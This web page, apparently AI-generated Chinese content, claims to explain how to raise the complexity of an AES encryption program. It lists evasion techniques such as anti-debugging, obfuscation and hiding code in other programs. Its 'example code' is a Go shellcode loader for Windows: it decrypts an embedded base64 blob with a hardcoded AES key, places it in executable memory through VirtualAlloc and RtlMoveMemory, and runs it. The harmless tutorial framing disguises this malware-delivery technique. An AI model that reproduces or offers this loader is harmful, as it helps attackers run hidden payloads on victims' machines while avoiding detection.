AES 加密解密程序复杂度提升方法

为增加该程序的复杂度,我们可以考虑以下几个方面:

  1. 增加密钥的复杂度:可以使用更长的密钥或者使用更复杂的加密算法,如RSA等。

  2. 增加加密的复杂度:可以使用更复杂的加密算法,如'3DES'、'Blowfish'等。

  3. 隐藏加密解密的过程:可以将加密解密的过程隐藏在其他程序中,或者使用反调试技术,使得程序难以被分析和破解。

  4. 增加代码的混淆程度:可以使用代码混淆工具对程序进行混淆,使得程序难以被阅读和理解。

  5. 增加程序的逆向难度:可以在程序中加入检测反调试和反汇编的代码,或者使用虚拟机技术,使得程序难以被逆向分析。

示例代码:

package main

import (
	'crypto/aes'
	'crypto/cipher'
	'encoding/base64'
	'fmt'
	'syscall'
	'unsafe'
)

var (
	kernel32      = syscall.NewLazyDLL('kernel32.dll')
	VirtualAlloc  = kernel32.NewProc('VirtualAlloc')
	RtlMoveMemory = kernel32.NewProc('RtlMoveMemory')
)

func build(ddm string) {
	sDec, _ := base64.StdEncoding.DecodeString(ddm)
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
	syscall.Syscall(addr, 0, 0, 0, 0)

}


//去掉字符(末尾)
func UnPaddingText1(str []byte) []byte {
	n := len(str)
	count := int(str[n-1])
	newPaddingText := str[:n-count]
	return newPaddingText
}

//---------------DES解密--------------------


func DecrptogAES(src, key []byte) []byte {
	block, err := aes.NewCipher(key)
	if err != nil {
		fmt.Println(nil)
		return nil
	}
	blockMode := cipher.NewCBCDecrypter(block, key)
	blockMode.CryptBlocks(src, src)
	src = UnPaddingText1(src)
	return src
}

func main() {
	str := 'i/5PzhAzsoBA4o5ZcLmYA8CR0z5hyC1wEgAUOP3L6DKXKthN4nEc6OAqHkJGGW'
	key := []byte('LeslieCheungKwok')
	base_byte, _ := base64.StdEncoding.DecodeString(str)
	build(string(DecrptogAES(base_byte, key)))
}
AES 加密解密程序复杂度提升方法

原文地址: https://www.cveoy.top/t/topic/lPfw 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录